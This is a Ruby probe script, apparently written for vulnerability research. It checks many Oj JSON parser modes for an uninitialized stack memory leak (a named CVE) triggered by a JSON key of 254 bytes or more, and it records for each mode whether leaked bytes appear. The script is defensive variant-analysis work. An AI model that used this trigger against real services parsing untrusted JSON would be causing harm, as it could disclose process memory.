# CVE-2026-54500 variant probe.
# Tests multiple Oj entry points / modes with a long (>=254 byte) JSON key to
# detect uninitialized stack memory leaks (the form_attr buf/b bug class).
#
# Usage: ruby -Ilib probe_variant.rb <mode> <key_len>
# Outputs one line: MODE=<mode> OUTCOME=<outcome> <details>
#
# Outcomes:
#   encoding_error  -> EncodingError raised (leak signal; message holds leaked bytes)
#   leak            -> a key/ivar of the EXPECTED length exists but its bytes are wrong
#   correct         -> a key/ivar of the expected length exists and bytes exactly match input
#   no_long_key     -> parsed OK but no key/ivar of the expected length (mode does not
#                      surface the long key in the result; not by itself a leak)
#   error           -> other exception (mode unsupported / class missing etc.)
#   empty           -> parsed but no ivars/keys at all
#
# Each invocation is a separate process so per-run variation (uninitialized
# memory) is observable across multiple invocations of the same mode.

require 'oj'

mode    = ARGV[0] || "object"
key_len = (ARGV[1] || "300").to_i
key     = "A" * key_len

def ivar_correct?(s, key_len)
  s.bytesize == key_len + 1 && s.getbyte(0) == 0x40 && s.bytes[1..].all? { |b| b == 0x41 }
end

def key_correct?(s, key_len)
  s.bytesize == key_len && s.bytes.all? { |b| b == 0x41 }
end

def hex(bytes, n)
  bytes.first(n).map { |b| b.to_s(16).rjust(2, "0") }.join
end

# Scan instance variables for one of the expected length (key_len + 1).
def scan_ivars(mode, r, key_len)
  ivars = r.instance_variables
  cand = ivars.select { |iv| iv.to_s.bytesize == key_len + 1 }
  if cand.empty?
    return nil
  end
  s = cand.first.to_s
  correct = ivar_correct?(s, key_len)
  puts "MODE=#{mode} OUTCOME=#{correct ? 'correct' : 'leak'} KIND=ivar IVAR_LEN=#{s.bytesize} FIRST=#{hex(s.bytes, 16)}"
  true
end

# Scan hash keys for one of the expected length (key_len).
def scan_hash_keys(mode, r, key_len)
  return nil unless r.respond_to?(:keys)
  ks = r.keys
  cand = ks.select { |k| k.to_s.bytesize == key_len }
  if cand.empty?
    return nil
  end
  s = cand.first.to_s
  correct = key_correct?(s, key_len)
  puts "MODE=#{mode} OUTCOME=#{correct ? 'correct' : 'leak'} KIND=hash_key KEY_LEN=#{s.bytesize} FIRST=#{hex(s.bytes, 16)}"
  true
end

def report_result(mode, r, key_len)
  # Try instance variables first (object-creating modes), then hash keys.
  if scan_ivars(mode, r, key_len)
    return
  end
  if scan_hash_keys(mode, r, key_len)
    return
  end
  if r.respond_to?(:keys) && r.keys.empty? && r.instance_variables.empty?
    puts "MODE=#{mode} OUTCOME=empty"
  else
    puts "MODE=#{mode} OUTCOME=no_long_key"
  end
end

begin
  case mode
  # ---- OLD Oj.load API -------------------------------------------------------
  when "object"
    json = %Q[{"^o":"Oj::Bag","#{key}":1}]
    r = Oj.load(json, mode: :object)
    report_result(mode, r, key_len)

  when "compat_obj"
    # compat mode with create_id "^o" -> calls json_create; hash keys via oj_calc_hash_key (NOT form_attr)
    Oj.default_options = { mode: :compat, create_id: "^o" }
    json = %Q[{"^o":"Oj::Bag","#{key}":1}]
    r = Oj.load(json)
    report_result(mode, r, key_len)

  when "compat_hash"
    json = %Q[{"#{key}":1}]
    r = Oj.load(json, mode: :compat)
    report_result(mode, r, key_len)

  when "rails"
    json = %Q[{"#{key}":1}]
    r = Oj.load(json, mode: :rails)
    report_result(mode, r, key_len)

  when "strict"
    json = %Q[{"#{key}":1}]
    r = Oj.load(json, mode: :strict)
    report_result(mode, r, key_len)

  when "null"
    json = %Q[{"#{key}":1}]
    r = Oj.load(json, mode: :null)
    report_result(mode, r, key_len)

  when "wab"
    json = %Q[{"#{key}":1}]
    r = Oj.load(json, mode: :wab)
    report_result(mode, r, key_len)

  when "custom"
    json = %Q[{"#{key}":1}]
    r = Oj.load(json, mode: :custom)
    report_result(mode, r, key_len)

  # ---- NEWER Oj::Parser API --------------------------------------------------
  when "np_usual_obj"
    # Oj::Parser.new(:usual) with create_id -> close_object_create -> get_attr_id
    # -> cache_intern(attr_cache) -> usual.c form_attr (fixed in ec368db, pre-v3.17.2)
    p = Oj::Parser.new(:usual)
    p.create_id = "^o"
    json = %Q[{"^o":"Oj::Bag","#{key}":1}]
    r = p.parse(json)
    report_result(mode, r, key_len)

  when "np_usual_hash"
    p = Oj::Parser.new(:usual)
    json = %Q[{"#{key}":1}]
    r = p.parse(json)
    report_result(mode, r, key_len)

  when "np_usual_obj_symcache"
    # Same as np_usual_obj but with cache_keys=true (symbol keys via cache -> form_sym, no stack buf)
    p = Oj::Parser.new(:usual)
    p.create_id = "^o"
    p.cache_keys = true
    json = %Q[{"^o":"Oj::Bag","#{key}":1}]
    r = p.parse(json)
    report_result(mode, r, key_len)

  else
    puts "MODE=#{mode} OUTCOME=error CLASS=ArgumentError MSG=unknown_mode"
  end

rescue EncodingError => e
  msg = e.message
  non_a = msg.bytes.count { |b| b != 0x41 }
  puts "MODE=#{mode} OUTCOME=encoding_error MSG_LEN=#{msg.bytesize} NON_A=#{non_a} FIRST=#{hex(msg.bytes, 48)}"
rescue => e
  puts "MODE=#{mode} OUTCOME=error CLASS=#{e.class} MSG=#{e.message.to_s.encode('UTF-8', invalid: :replace, undef: :replace)[0, 140]}"
end